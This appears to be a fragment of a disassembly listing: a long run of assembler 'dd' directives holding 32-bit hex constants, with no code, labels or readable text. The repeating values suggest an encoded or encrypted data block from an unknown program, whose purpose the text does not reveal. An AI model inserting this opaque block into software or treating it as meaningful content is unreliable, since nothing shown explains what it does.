		dd 4D8ED2DDh, 21456CF2h, 38D26CA5h, 68A45D79h, 58D2AEC5h
		dd 718ED2C5h, 0EEE46CF2h, 58D2A678h, 3E58A025h,	742D98D2h
		dd 0A8A0ED1Eh, 0AE2DC377h, 0D22D3DE9h, 742D6198h, 2858A474h
		dd 90AE0DC4h, 2D3DC365h, 3659A02Dh, 0EDA890AEh,	0A8A03859h
		dd 0AE2DC0F1h, 0C8C521E9h, 74742C06h, 0A8A09D45h, 2C01DD2Dh
		dd 0D2DD742Dh, 742D7DD2h, 742D83C4h, 3521EDA8h,	80456CA7h
		dd 15C52D2Ch, 0A4742C06h, 0AE2DD168h, 0AED121E9h, 592D27EDh
		dd 2225A639h, 0EDA8AD93h, 2CD52B59h, 58D22D2Dh,	58D24521h
		dd 0E9AED2D5h, 50AEE439h, 68A62C21h, 60A62225h,	0A6252ED1h
		dd 0C6212168h, 9B22AEF7h, 60A6A62Dh, 2E2DACD1h,	0A6D1A4ECh
		dd 0AED1D168h, 2D09D150h, 0D34568A4h, 2C472D2Dh, 742DF6C5h
		dd 0E526A674h, 68A660A4h, 68A4AD25h, 0E5264525h, 68A660A4h
		dd 0A4D20825h, 0E5262568h, 68A660A4h, 742D0825h, 0E526EC74h
		dd 68A660A4h, 0D245E425h, 2C452DD2h, 66C52D29h,	74742DEFh
		dd 58D2C57Dh, 58D2C525h, 2547C525h, 58D21945h, 0E9AEC525h
		dd 6CA7A821h, 0FBC5D22Dh, 0E9AE2C04h, 0AED1A821h, 682ED150h
		dd 0EDA822D1h, 0AED50F58h, 2459D550h, 2D2950ACh, 0AEDD742Dh
		dd 2858DD50h, 472D2C47h, 7DD5A02Dh, 0AE2D0545h,	0D2D93DE9h
		dd 0AE74DD58h, 2159D950h, 2CC550AEh, 68A62D2Dh,	0AEC1A4C5h
		dd 2458C150h, 2D2D58D2h, 0E4C1A674h, 0D5878EEh,	0ABC540C5h
		dd 74742D74h, 55C52C47h, 74742D74h, 0EE70558Ch,	0AED1A678h
		dd 742DD150h, 7DC1ED1Eh, 742D14C5h, 0AED9A474h,	2958D950h
		dd 472DED1Eh, 7DC1A02Fh, 6EC57145h, 0E9AE2D20h,	0D2D5A43Dh
		dd 0AE74D958h, 2259D550h, 2CC550AEh, 29C62D2Dh,	0AED148AEh
		dd 2459D150h, 742D58D2h, 68A068A6h, 742D7DC9h, 68A0FD45h
		dd 0AED57DC9h, 2259D550h, 2CCD50AEh, 29C62D2Dh,	0A4CD48AEh
		dd 0A0D1D168h, 0EEE4D168h, 38D2A678h, 0ED1E5F39h, 7DAD50AEh
		dd 38D258D2h, 0D5AE5F6Dh, 2D4758D2h, 58D22D45h,	0EDA8D221h
		dd 7DAD2959h, 38D258D2h, 0D5AE5F3Dh, 2D4758D2h,	58D22D45h
		dd 0EDA8D221h, 7DAD2959h, 38D258D2h, 0D5AE5F6Dh, 0A4AD58D2h
		dd 0E9AE51A8h, 7DAD4721h, 38D258D2h, 0D5AE5F3Dh, 0A4AD58D2h
		dd 0E9AE51A8h, 2D474721h, 38D258D2h, 0EDA8F249h, 2D2DA822h
		dd 4D59A8A6h, 2D472F47h, 0EDA82C45h, 0ED1F0C58h, 2FE9EEE4h
		dd 2AC62D2Dh, 0A4E968EAh, 2D3DD568h, 0AEF9C52Dh, 2A58F950h
		dd 0A62DED1Eh, 0A62DF968h, 2D2DF968h, 2D47472Dh, 0A6F168A0h
		dd 0EACDD568h, 7DF5F568h, 2D4758D2h, 0EDA838D2h, 68A63D59h
		dd 0C6D1A4FDh, 0A6D1A624h, 0AED1316Dh, 0A922D150h, 0A62D2DFBh
		dd 0D2D1D168h, 0D2D1255Dh, 6C5F295Dh, 0AEE1A42Dh, 0AED1E150h
		dd 0AED12955h, 2CE52955h, 29472D2Dh, 68A668A0h,	68A6D2D1h
		dd 58D2D2D1h, 742DD2E1h, 0D5AE4AC4h, 2D2658D2h,	0A6F9742Dh
		dd 0ACF9A62Dh, 582D2D15h, 68A6C62Fh, 582DAEF9h,	0E4F9D220h
		dd 0AED178EEh, 2958D150h, 2D2FED1Eh, 0AED15B2Dh, 0A62529EDh
		dd 69A0A62Dh, 60A629ACh, 2CA42ED1h, 0AE2D58D2h,	0AE225988h
		dd 0A62D2C3Dh, 2D2D2568h, 2D25A67Dh, 2568162Dh,	2521ADA6h
		dd 25AC2D2Dh, 0A8A62D25h, 0A625D249h, 2D2D29ADh, 0ACA4A665h
		dd 0C62D2529h, 0A8A4C428h, 0C42DD245h, 0AE25D3FFh, 2D2D298Dh
		dd 20C6AE2Dh, 0AE22A8A6h, 0AE2D2D84h, 2D254D88h, 0C62F162Dh
		dd 0A625A692h, 0AC254DA0h, 2D2D2995h, 5E2D2F2Dh, 0A429A61Dh
		dd 2D25ACB9h, 0A625A62Dh, 2D2D29ADh, 0ACA4A66Dh, 1E2D2529h
		dd 1E21A8EDh, 0DA2D94FFh, 0DA2DA4DCh, 0A42D44DCh, 2D475DB8h
		dd 292868A6h, 0A67D2D25h, 0A8A42568h, 0AE2DD255h, 88AE5590h
		dd 20C6D259h, 0AE22A8A6h, 0A62D2C20h, 2D2D2568h, 20C6A67Dh
		dd 2D25A8A6h, 2568162Dh, 0B9A6ADA6h, 2D2D21BBh,	2D25B9A4h
		dd 0A625A62Dh, 2D2D29ADh, 0ACA4A665h, 0C62D2529h, 0A8A4C428h
		dd 0F8C4D271h, 2AC6D2D3h, 0A6D168A6h, 85E2568h,	6CF210AEh
		dd 0AE252D2Dh, 0A6D14915h, 0AE252560h, 2D2D298Dh, 12C5D22Dh
		dd 0E4742C33h, 2D2F78EEh, 2D3D5B2Dh, 0A6D1C52Dh, 68A62560h
		dd 61C5AED1h, 1E742D2Bh, 79A4C6EDh, 0A62121ACh,	0A6EF296Dh
		dd 2AC670EFh, 0A6D168A6h, 0A6D12168h, 0A67F2160h, 205F2168h
		dd 0ECD168A6h, 0A6D12FCDh, 0A6D12160h, 4DAE2160h, 0AE252D25h
		dd 2D2D218Dh, 6DD5AE2Dh, 0A62568A4h, 0A6C1D560h, 0A6C12568h
		dd 0A9A62560h, 2D2D3DACh, 58216916h, 0A625C62Fh, 0AC25C160h
		dd 2D2D2195h, 5E2D2F2Dh, 0A6C1A607h, 79A62560h,	3DAC21BBh
		dd 68A62D25h, 0ACA4A625h, 1E2D2521h, 0A02DA8EDh, 68A6DD68h
		dd 2D472825h, 68A438D2h, 2CC5AED1h, 29C62D2Dh, 68A448AEh
		dd 0A6D1C6D1h, 28252568h, 7D2D2521h, 6DD168A6h,	6CA460A6h
		dd 0A6D1A625h, 0ED1E2560h, 2AC6EEE4h, 0A6D168A6h, 0A6D12568h
		dd 742D2560h, 4DAE68A6h, 0AE252D29h, 68A6254Dh,	2D2DAE25h
		dd 8FC5E42Dh, 45C5D2D2h, 70742C36h, 68A078EEh, 3ACD7DF1h
		dd 3AC62D2Dh, 0CDAE68A6h, 2FCDA82Ch, 29C62D2Dh,	0AE3D48AEh
		dd 7DF129CDh, 38D258D2h, 0EDA8F249h, 0C6D12A59h, 0A6D1A624h
		dd 0AED1316Dh, 4259D150h, 68A668A6h, 0AEF9D2D1h, 58D2F950h
		dd 0D2D1C5F9h, 0D2D13D5Dh, 1E10355Dh, 23582D0Ah, 68A658D2h
		dd 742DC6F9h, 0ED1EAFC6h, 0B439EEE4h, 0DA2DC594h, 0DA2DA4D4h
		dd 0A42D44D4h, 68A0FDB8h, 3ACD7DF1h, 3AC62D2Dh,	0CDAE68A6h
		dd 2FCDA82Ch, 29C62D2Dh, 0AE3D48AEh, 7DF129CDh,	38D258D2h
		dd 0EDA8F249h, 0A62D2A59h, 0A6D1F9A8h, 0AED1316Dh, 0A922D150h
		dd 0A62D2CFAh, 0D2D1D168h, 0D2D1255Dh, 6C5F295Dh, 98D2A42Dh
		dd 0D2D1DAE9h, 0D2D13D5Dh, 1E10355Dh, 28592D0Ah, 20C651C4h
		dd 0A8A6A8A6h, 0A8A0DAEDh, 2D47DAF5h, 0D5AE38D2h, 0A8A6582Ch
		dd 2D2DDAE9h, 0ED1EC474h, 38D2EEE4h, 0C5455F2Dh, 38D22D2Eh
		dd 58D25DB1h, 2D2DC525h, 38D27074h, 0EE705F1Dh,	58D2A678h
		dd 38D2D221h, 68A45F21h, 0E4D1A6D1h, 334578EEh,	38D22D0Ah
		dd 0E5AE5F19h, 68A6C6D2h
		dd 38D2653Dh, 68A45F65h, 16D1AED1h, 33453D68h, 38D22D0Ah
		dd 0E5AE5F19h, 30C5C6D2h, 74742D2Dh, 58D2EDA8h,	5EC5D221h
		dd 2C3AD2D2h, 88AEAE2Dh, 20C6C2C1h, 2DA8A8A6h, 5825D2D5h
		dd 2D2FC62Fh, 20C65E2Dh, 5825A8A6h, 2D2FC62Fh, 1E215E2Dh
		dd 0DA2D94FFh, 1E21A4DCh, 0DA2D94FFh, 0A42D44DCh, 0A8A0D9B8h
		dd 0D5AEDAD1h, 75C5592Ch, 0EDA82C35h, 0D22D2859h, 16C52558h
		dd 45742C38h, 472D2DD2h, 6C5F472Eh, 472DA42Dh, 98D2A029h
		dd 0D5AEC2A5h, 742D58D2h, 2D47ED1Eh, 7D7468A0h,	6C5F38D2h
		dd 0A0DF4B2Dh, 68A45EA8h, 0A8A4AED9h, 3E58C191h, 742D98D2h
		dd 0A8A6ED1Eh, 0AED9C191h, 742DD950h, 2D2DED1Eh, 0DD092D47h
		dd 22092821h, 452D6D21h, 472DD2D2h, 58D2C52Ch, 472DC5C1h
		dd 2D2DC52Ch, 742D2C47h, 58D22274h, 472DC5C1h, 58D2C52Ch
		dd 2C3FC5C1h, 452D742Dh, 472DD2D2h, 58D2C52Ch, 1074C5C1h
		dd 5E2D2AFDh, 0BBC54771h, 74742D87h, 0AAC59A22h, 74742D87h
		dd 55C59B22h, 74742D87h, 44C59B22h, 74742D87h, 58D29B22h
		dd 0E9AEC5C1h, 2C47C631h, 6C52D47h, 74742D87h, 31C59B22h
		dd 74742D87h, 20C59B22h, 74742D87h, 58D29B22h, 0A674C5C1h
		dd 472DC160h, 0F6C5472Fh, 74742D84h, 0A58A8A4h,	58D2D245h
		dd 0E9AEC5C1h, 0AE2DC421h, 0D2459990h, 2C472DD2h, 58D2A7C5h
		dd 472DC5C1h, 742DC52Ch, 742D2274h, 58D22274h, 2D2CC5C1h
		dd 472DA674h, 2D2DC52Ch, 58D22C47h, 58D2C5C1h, 5E2DC5C1h
		dd 1EC54771h, 74742D85h, 9C59A22h, 74742D85h, 38C59B22h
		dd 74742D85h, 2BC59B22h, 74742D85h, 58D29B22h, 0FAC5C5C1h
		dd 74742D8Ah, 0E5C59A22h, 74742D8Ah, 94C59B22h,	74742D8Ah
		dd 87C59B22h, 74742D8Ah, 58D29B22h, 472DC5C1h, 58D2C52Ch
		dd 2EC1C5C1h, 0CDFD9DA8h, 7D2D60A6h, 6C5F38D2h,	2F47A62Dh
		dd 0C57D0545h, 0A62DCE81h, 6C5FE9A0h, 3D47A62Dh, 0A8A668A0h
		dd 0A8A4C181h, 742DC195h, 0A8A698D2h, 1E74C1E1h, 592DE4EDh
		dd 9445AE2Bh, 0F7C52D2Fh, 0A4742C21h, 2D2DD168h, 68A658D2h
		dd 2D2DAED1h, 2D2C7474h, 0C57DD22Dh, 0AE2D3699h, 68A621E9h
		dd 7D2D28D1h, 0AE2DB3C5h, 58D221E9h, 0ACD1C535h, 4D2D9C95h
		dd 23502DC7h, 68A468A6h, 4DD5C6D5h, 68A62DC7h, 0A62DA6D1h
		dd 492DD168h, 0A6D12353h, 0A42D9CADh, 49D9D968h, 68A62D2Dh
		dd 6CA7A6D1h, 58D2472Dh, 6FC545D1h, 0E9AE2D1Bh,	0C6C5E43Dh
		dd 0E9AE2C26h, 0EB25A621h, 0C62CB5ADh, 0A8C5453Eh, 45742D11h
		dd 38D2A7DDh, 68A45D79h, 58D2AED1h, 0A18ED2D1h,	0E1456CCEh
		dd 58D26CA7h, 0AD8ED2D1h, 99456CCEh, 58D26CA7h,	0A98ED2D1h
		dd 0B1456CCEh, 58D26CA7h, 0A58ED2D1h, 10AE6CCEh, 592DCEA1h
		dd 10AEAE0Fh, 592DCEA5h, 6CCEEB2Ah, 742DC52Dh, 6CCE9B22h
		dd 742DC52Dh, 0AE2DED1Eh, 48AED948h, 58D22DD1h,	0AEC1C5C9h
		dd 2858C150h, 0A62DFCC4h, 0D2C9C968h, 7474C958h, 0A62D68A4h
		dd 5EC9D168h, 0A6D5C62Fh, 0AED9D568h, 2358D950h, 2D2D58D2h
		dd 0AED968A6h, 2AC625EDh, 0A6DD68A6h, 5ED5DD68h, 0D2D9457Fh
		dd 60A6295Dh, 0AE74A6D9h, 2AC6DD48h, 0A6DD68A6h, 22D5DD68h
		dd 68A6A5AEh, 3D4544DDh, 38D22D29h, 0A8A45DB9h,	68A0D3FDh
		dd 68A67DCDh, 60A644DDh, 0A8A5A6D9h, 0A8A0D3F9h, 0AEF1D3F9h
		dd 0A922F150h, 222D2DAAh, 44DDA893h, 60A639EDh,	0C6C5A6D9h
		dd 65C5A62Ah, 22C568A4h, 44DDA993h, 60A639EDh, 2FC6A6D9h
		dd 48C493C6h, 0C5D2D3h,	0A6742D14h, 6CCED968h, 0FEC5C52Dh
		dd 70742C2Ah, 85C578EEh, 0C5742C2Ah, 0A62DD1BAh, 0A8A679A8h
		dd 0A8A0D375h, 0AE2DD371h, 20C63DE9h, 0A022A8A6h, 452D2DBBh
		dd 0D22D2EC5h, 0A8A6B138h, 0A0A6D37Dh, 2 dup(0A0A6D379h)
		dd 0AE2DD379h, 0AED135E9h, 2F58D150h, 0AED103C6h, 58D229EDh
		dd 8DC545D1h, 0E9AE2D1Dh, 2B59E43Dh, 58D250AEh,	0A474C521h
		dd 0ACD1D968h, 2A5BD150h, 6DD168EAh, 0D2C9C57Dh, 3D47D558h
		dd 6C5D38D2h, 0AEC5A42Dh, 2358C550h, 0AE2D58D2h, 68A0C148h
		dd 68A47DC1h, 0AE2DAEDDh, 5159C150h, 0ADD168A6h, 6DCD2D0Dh
		dd 16CD68A4h, 2EC9C168h, 68A6CD68h, 22CD2EC9h, 2EC92D93h
		dd 0D5AECD68h, 0D5AE593Bh, 2EC9523Dh, 742DCD68h, 0EEE4D274h
		dd 0D2D1A678h, 6814C538h, 47D558D1h, 2AC6D22Dh,	0AED168A6h
		dd 3850D150h, 742D5747h, 602EA674h, 0AD25A5D1h,	48AE254Dh
		dd 6DD12DD1h, 747468A4h, 0AD2160A6h, 48AE2B4Dh,	6DD12DD1h
		dd 747468A4h, 602E60A6h, 0AD3DA5D1h, 0EEE43D4Dh, 0A62DA678h
		dd 472D2168h, 58D24529h, 2D2CC521h, 58D2E9AEh, 2C25C521h
		dd 58D2AE2Dh, 0AD2DC521h, 58D20AC6h, 0AD2DC521h, 0A62D28C6h
		dd 0A62D2168h, 0D5AE2168h, 2D2F5871h, 0A8A65F2Dh, 90ACD0DDh
		dd 2D2FD0DDh, 98D25F2Dh, 68A0D0DDh, 0A8A07DD9h,	6C5DD6C5h
		dd 68EAA82Dh, 2D2D2DD5h, 0A8A058D2h, 0EDA8D0D9h, 0AE2DA822h
		dd 58D2D150h, 0E9AEC525h, 0A8A6AE21h, 58D2D0C1h, 0E9AEC525h
		dd 0D2C5AE21h, 0A4742C2Ch, 0AE2DCDA8h, 20C6C988h, 5ED5A8A6h
		dd 0A8A0A65Fh, 58D2D6F1h, 0AE2DC525h, 0A02D21E9h, 58D2F1A8h
		dd 0AE2DC525h, 0D27421E9h, 0D274C198h, 6C5DD958h, 0C945E42Dh
		dd 0A8A06CA0h, 0A8A0D0D9h, 2D2CD3D1h, 0A0747474h, 0D0D9D1A8h
		dd 2D2CD2D2h, 9EC57474h, 0E9AE2C2Dh, 742DD23Dh,	0C945EEE4h
		dd 0A8A06CA0h, 0A8A0D0D9h, 2C2DD3D1h, 0A8A0742Dh, 2D2CD0D9h
		dd 0C5454774h, 0A8A06CA0h, 0AD45D3C9h, 2E472D2Dh, 2D2D2D47h
		dd 0A8A4A0ADh, 7DD5D3CDh, 98D268A0h, 2D47D3CDh,	2D2DAD45h
		dd 2F472E47h, 6D2D2D45h, 38D258D2h, 0A8A45D69h,	7DD5D3CDh
		dd 98D268A0h, 0EEE4D3CDh, 68A0A678h, 12457DD1h,	2D47222Dh
		dd 0D5452D47h, 2F456CA0h, 50AE2D2Dh, 0C9452D25h, 0A8A06CA0h
		dd 742DD3D5h, 0A8A0D274h, 7D6DD3D5h, 58D2A8A0h,	58D2D221h
		dd 0D2D5D2D1h, 0A6D12558h, 5ED9D168h, 2E25A630h, 69A0D168h
		dd 0C6D52C2Ch, 0E4D5A6F9h, 38D278EEh, 0D27D5DA1h, 0A8A0BD38h
		dd 0A8A0D3D5h, 742DD3D5h, 0AECDA474h, 5747C948h, 742D4C47h
		dd 0A6C5A674h, 0A6C9C968h, 58CDC968h, 6CA3453Bh, 0A0C9A62Dh
		dd 742D2869h, 7AC5C674h, 0A4742DD0h, 2D29D568h,	742DC52Dh
		dd 2D4768A4h, 2D472F47h, 6D2D2D45h, 68A468A0h, 58D2AEF5h
		dd 545D225h, 58D26CA3h,	0E9AED2F1h, 58D2AE35h, 2D47D2F5h
		dd 2C472D47h, 38D2E475h, 0D27D5DA1h, 48AEBD38h,	0A9222DC1h
		dd 0A62D2C3Bh, 45C1C168h, 0A02D2C29h, 0C945C9A8h, 0A8A06CA0h
		dd 742DD0C9h, 2D2DA674h, 2 dup(742DA674h), 742DA8A0h, 742DA8A6h
		dd 2D2DA8A6h, 0C42DA674h, 0C3C5D3EAh, 74742DBEh, 0A02D68A4h
		dd 0C945C5A8h, 0A8A06CA0h, 742DD3C5h, 0FCC1A674h, 0FCC1D2CDh
		dd 742DD2CDh, 0FCC1A674h, 2D2DD2CDh, 0A8A0A074h, 0EDA8D3C5h
		dd 0A1453458h, 2C476CA3h, 472D87C5h, 0A8A0A029h, 0AE2DD1B5h
		dd 4B2D21E9h, 68A088AEh, 2D477DDDh, 2D470547h, 38D2A8A0h
		dd 38D25D51h, 2D475F79h, 0E42D9BC5h, 38D278EEh,	0D27D5DA1h
		dd 88AEBD38h, 20C6D3D5h, 0A922A8A6h, 452D2C6Eh,	0A02D2C29h
		dd 0C945D1A8h, 0A8A06CA0h, 7474D3D1h, 2D2DA8A6h, 7474A674h
		dd 742DA8A6h, 2D2DA874h, 0F1C5A674h, 742DD2D4h,	2D2DA8A6h
		dd 742DA074h, 2D47D274h, 7DC638D2h, 742DB7C4h, 2D47D274h
		dd 0EEE438D2h, 9045A678h, 58D22D2Ch, 0AE2DA025h, 0D2D321E9h
		dd 2545A4D2h, 0A8A02D29h, 68A4D71Dh
		dd 9B22AED5h, 22D11CA8h, 0A8A0A893h, 0AE2DD36Fh, 0A8C821E9h
		dd 0D2C459EDh, 27C63DD2h, 0D2C4A8EAh, 0D2C4C1D2h, 695822D2h
		dd 0A8A02547h, 0AE2DD71Dh, 0A8A021E9h, 6C5FD71Dh, 0AE2D222Dh
		dd 2D0A21E9h, 0A8A0472Dh, 0C57DD709h, 2D47F124h, 0D2D7A8A0h
		dd 0AE2D7DD2h, 0D2D721E9h, 0A8A02DD2h, 0A8EBD71Dh, 0A8A0D71Ch
		dd 2D45D71Dh, 0A8A02D3Dh, 0A8A4C40Dh, 2459C431h, 0D2D790AEh
		dd 0D2D7C5D2h, 2D45C5D2h, 0A8A02D3Dh, 0D2D7C40Dh, 0A8A4D2D2h
		dd 0D2C4C435h, 0D2C42DD2h, 0D2C4D2D2h, 0BC4A0D2h, 0D2D7D2D2h
		dd 452DC5D2h, 0D22D2C90h, 0AE2D2558h, 0D2FD21E9h, 2D2D74D2h
		dd 0A02D1E74h, 0D54569A8h, 0A8A06CA3h, 0E9AED377h, 0D22D453Dh
		dd 0D2D31198h, 2D2D2DD2h, 0D2D390AEh, 19C5D2D2h, 0A4742DD9h
		dd 0D2D319A8h, 0D2F1C5D2h, 742D74D2h, 0AE2D4574h, 0F0C521E9h
		dd 74742D31h, 98D2EDA8h, 452DD319h, 0C52D292Ch,	742DA6DAh
		dd 0AE2D7D74h, 0C521E9h, 0A4742DDEh, 0AED9D968h, 742D29EDh
		dd 592DAE74h, 0A43DA625h, 3DDDDD68h, 3D476CF2h,	0E9AE58D2h
		dd 0AED94521h, 932237EDh, 0F5DAA6ADh, 24C5ED36h, 0E9AE2D30h
		dd 0AED1E439h, 2F58D150h, 65D101C6h, 0D5AE68A4h, 2E25580Dh
		dd 0C62DD168h, 0A6D1C62Fh, 22D12568h, 2E252D93h, 0C6D5D168h
		dd 0E4D5A6FFh, 25878EEh, 0CDEC68A6h, 58D27D2Fh,	0AE2DC53Dh
		dd 0EC3521E9h, 58D22FCDh, 0AE2DC539h, 2D2D21E9h, 58D258D2h
		dd 742DC521h, 7DD1A074h, 96C56145h, 0E9AE2D2Ah,	2CA4A621h
		dd 0C62D68A6h, 6DD5A62Ah, 16D568A4h, 0A6D53568h, 0AE2D3D60h
		dd 11AE21E9h, 29A62DACh, 0A62506ACh, 0A6D52160h, 0ECD53960h
		dd 68A62FCDh, 29A0A6D5h, 0AE2D7DACh, 63521E9h, 68A6D568h
		dd 0AE2DA6D5h, 65D521E9h, 0E4A825C6h, 2BA73559h, 59ED2AA5h
		dd 2AC66B26h, 0A6D168A6h, 22D12568h, 22D12D93h,	68A62D93h
		dd 22D12E25h, 742D2D93h, 0A6D968A4h, 14D12168h,	2E25D968h
		dd 60A6D968h, 0EC16223Dh, 2E253B59h, 68A6D968h,	7DD92E25h
		dd 68A61AC5h, 0C6D92E25h, 0A6D1C629h, 22D12568h, 68A62D93h
		dd 0C6D12E25h, 2E25A643h, 0D5AED168h, 6DD55827h, 2ED168A4h
		dd 9322D568h, 2ED12C29h, 9322D568h, 9AD2C29h, 2E252D2Ch
		dd 0C6D5D168h, 0A46CC62Ah, 22252560h, 22252D93h, 68A62D93h
		dd 0C62DAD25h, 0AED9C62Fh, 48AED548h, 6DD12DD1h, 0D5AE68A4h
		dd 0C62D580Dh, 0A6D5AE29h, 6DD52560h, 2E2568A4h, 68A6D168h
		dd 0ADD52E25h, 65D52D0Dh, 2E2568A4h, 2AC6D568h,	0AED168A6h
		dd 2E21D150h, 2E21D168h, 2E25D168h, 0A62DD168h,	0C6D12168h
		dd 2E25A639h, 0AED1D168h, 0AD35D150h, 0AD392D0Dh, 0AD3D2D0Dh
		dd 0AD212D0Dh, 0A4D12D0Dh, 58D2D568h, 0AE25C521h, 29582550h
		dd 58D2ED1Eh, 0AE25C53Dh, 29582550h, 58D2ED1Eh,	0AE25C539h
		dd 29582550h, 58D2ED1Eh, 0AE25C535h, 29582550h,	0C435ED1Eh
		dd 0A62D2DDCh, 0D5AE2168h, 2D2D2244h, 222568A6h, 58D22D93h
		dd 742DC525h, 47D19B22h, 7DD1D227h, 2225F5C5h, 58D22D93h
		dd 2221C539h, 58D22D93h, 742DC539h, 58D2C674h, 742DC539h
		dd 0EDA81E74h, 22252259h, 58D22D93h, 0EEE4C539h, 7DD5A678h
		dd 7DE968A0h, 0CAC558D2h, 2D2DD2D0h, 7DD168A0h,	2D2D68A0h
		dd 7DF168A0h, 6CDD68A0h, 0A8C1C52Dh, 2CC558EDh,	58D22D2Dh
		dd 7DE5A0C5h, 7DDD68A0h, 7DF90AC5h, 7DD568A0h, 7DF124C5h
		dd 7D9168A0h, 7DC9C6C5h, 7DE968A0h, 7DFDE0C5h, 7DCD68A0h
		dd 0D1C57945h, 0E9AE2DC7h, 7DCD4735h, 7DC568A0h, 97C558D2h
		dd 7DC1D2D1h, 7DD968A0h, 6CDD68A0h, 0D2D1C52Dh,	0A8C5AED2h
		dd 7DC558EDh, 689347C5h, 7DC9A8C9h, 68937EC5h, 7DCDA8CDh
		dd 689311C5h, 7DD1A8D1h, 0D16808C5h, 7DCDA07Dh,	7DC568A0h
		dd 7C57945h, 0E9AE2DC7h, 25594735h, 60A668A6h, 68A6A425h
		dd 68A4A63Dh, 0A6D5C6D5h, 0EDA8D568h, 22D13459h, 6DD12D93h
		dd 22D168A4h, 0A4D52D93h, 0A421D968h, 22D9D168h, 60A62D93h
		dd 68A622D1h, 0C6D96DD9h, 6DD1A60Dh, 0EDA868A4h, 0A4212058h
		dd 6DD9D168h, 0A63D68A4h, 68A6D960h, 0DAD906D5h, 0E4D536F5h
		dd 0A4CD78EEh, 0D22DC978h, 0FFC5B138h, 36CDD2D2h, 8D45C978h
		dd 7D7F2CABh, 7F276DC5h, 0A42DC57Dh, 0A4C5D568h, 0AE2DC178h
		dd 50AED948h, 0AE2D2DC1h, 50AED948h, 0AE2D2DC1h, 50AED948h
		dd 0AE2D2DC1h, 50AED948h, 0AE2D2DC1h, 50AED948h, 0AE2D2DC1h
		dd 50AED948h, 2B5F2DC1h, 48AE50AEh, 0A6C52DDDh,	0E4D5D160h
		dd 2A4778EEh, 0F5DA2D45h, 0A6D1ED36h, 50AE2568h, 6CBC2DD1h
		dd 0D4C5D22Dh, 74742DC6h, 2D2DEDA8h, 0F5DA38D2h, 0A6D1ED36h
		dd 68A62568h, 0AE2DC6D1h, 742D21E9h, 0A8A6A8A0h, 3D2DD5F9h
		dd 2D23EC2Dh, 2D23A42Dh, 2D23DA2Dh, 38D5DA2Dh, 0A8EA2D2Dh
		dd 2D2DD41Dh, 7DD5A02Dh, 0A8EAA8A0h, 2D2DD7CDh,	2D6C472Dh
		dd 2D6CA8EAh, 65890AEh,	90AE90AEh, 0B9C4D7DDh, 90AE2D2Dh
		dd 5BC6D7C9h, 75C690AEh, 215890AEh, 17C6A8EAh, 2D6C90AEh
		dd 90AE31C6h, 27C6D7DDh, 2D6CA8EAh, 88ADA8A6h, 0ED1ED6DAh
		dd 0D6518F22h, 2D47D2D2h, 2D6C2145h, 0AD2D2F45h, 6C5D38D2h
		dd 2D2DA82Dh, 0D545A8A0h, 98D26CBCh, 0EDA8D5D9h, 6C5D3E58h
		dd 2D6CAE2Dh, 2D6C90AEh, 0D2D490AEh, 2D6C2CD2h,	0A02DA8A0h
		dd 0AE2DD5A8h, 0A8A079E9h, 2D60D415h, 742DAE2Dh, 742DED1Eh
		dd 2D6C68A4h, 0AE2D2D47h, 2DCE3DE9h, 7DF5742Dh,	742DFBC5h
		dd 0A42D14C5h, 68A0D168h, 2DCE7DF5h, 10D1062Dh,	5E2D2EC5h
		dd 62DC520h, 0C6F9D168h, 0C5F9EA2Ah, 68A62D2Eh,	5CC5E4F9h
		dd 6CA2D2D2h, 45D9C52Dh, 6AC5A2BDh, 6C5D2D2h, 2ED9D2D2h
		dd 2EC1DD68h, 6DD5C568h, 0AED568A4h, 0FCD5A811h, 0AED5A4C5h
		dd 2AC6D148h, 0AED168A6h, 65D5D150h, 84C5477Dh,	74742D57h
		dd 742DA8A4h, 742DA074h, 742DA8A6h, 742DA074h, 0A8A03D45h
		dd 0A8A4D6C5h, 2858D1DDh, 0A02D75C4h, 0AE2DD5A8h, 742D39E9h
		dd 0A8A4A07Dh, 2D45D6C9h, 0A8A02D2Fh, 659D0D5h,	0A80690AEh
		dd 90ACD6C9h, 3D2DD1D9h, 2D2D222Dh, 2D0D90ACh, 80F25E2Dh
		dd 80F2D6F9h, 90F5D6E5h, 0A42DD6FDh, 0AE2DF1A8h, 742D21E9h
		dd 742D0545h, 2D47A074h, 0EDA80545h, 2D471B58h,	0A8A62C45h
		dd 98D2DAF1h, 7AC5DAF1h, 0A8A42D2Ah, 2D23DA65h,	2D23DA2Dh
		dd 2D6CDA2Dh, 742DA8A0h, 2D6C4574h, 742D68A0h, 592DAE74h
		dd 0AD454763h, 0A8A02D2Dh, 0EDA8DA7Dh, 2D6C0259h, 747468A0h
		dd 2D6C3DC6h, 742D68A0h, 0D29AC574h, 27C6A8D2h,	0C5D5A8EAh
		dd 27C69880h, 0D2D6A8EAh, 90ACA4D2h, 5E2DDAF5h,	90ACEA27h
		dd 0E9C5DAF5h, 2D6CD2D6h, 2 dup(2D6C90AEh), 0D2D898D2h
		dd 0D2D8D2D2h, 0A4D1D2D2h, 7C7CA9A8h, 7DDD31F0h, 6CBFA8A0h
		dd 2D29452Dh, 2DF0A02Dh, 0A8A0AE2Dh, 0E9AED889h, 742DD221h
		dd 2D6C68A4h, 6DA62D47h, 68A4C52Dh, 68A4AEC9h, 68A0AEDDh
		dd 7DD57DF1h, 3DC668A0h, 68A02547h, 0AE2D7DF1h,	2D4521E9h
		dd 58D23D2Dh, 0A4F1D2CDh, 0A6F1CD78h, 22C9D960h, 0E4D96893h
		dd 0AE2D78EEh, 1E2D21E9h, 0A8A4A0EDh, 88AED6F1h, 88AED705h
		dd 0A8EAD6C1h, 0A02DD6DDh, 0A8A4F1A8h, 0A922D709h, 0AE2D2CA6h
		dd 2C530990h, 1DD12D2Dh, 62C66CB9h, 5D190AEh, 10C66CB9h
		dd 6C690AEh, 34C690AEh,	2AC690AEh, 3EC668EAh, 0A8A02547h
		dd 0AE2DD6F9h, 2D4521E9h, 98D23D2Dh, 0D6F5D6F5h, 3858D2D2h
		dd 2D6C2945h, 2D6CA8A0h, 0E9AEA8A0h
		dd 2D6CC631h, 0E9AEA8A0h, 0D2D7A639h, 74742DD2h, 0D2D798D2h
		dd 0A8A0A0D2h, 0E9AED6D1h, 0A8A0A039h, 0AE2DD71Dh, 742D21E9h
		dd 2D4768A4h, 0AE2D58D2h, 68A03DE9h, 50AE7DDDh,	0A42D2DD1h
		dd 742DC568h, 39C6C574h, 0FF1E38D2h, 0DA2DC594h, 0EEE48EDCh
		dd 68A0A678h, 50AE7DDDh, 0A42D2DD1h, 0C62DC568h, 0FF1ED222h
		dd 0DA2DC594h, 68A0E4DCh, 50AE7DDDh, 0A42D2DD1h, 62DC568h
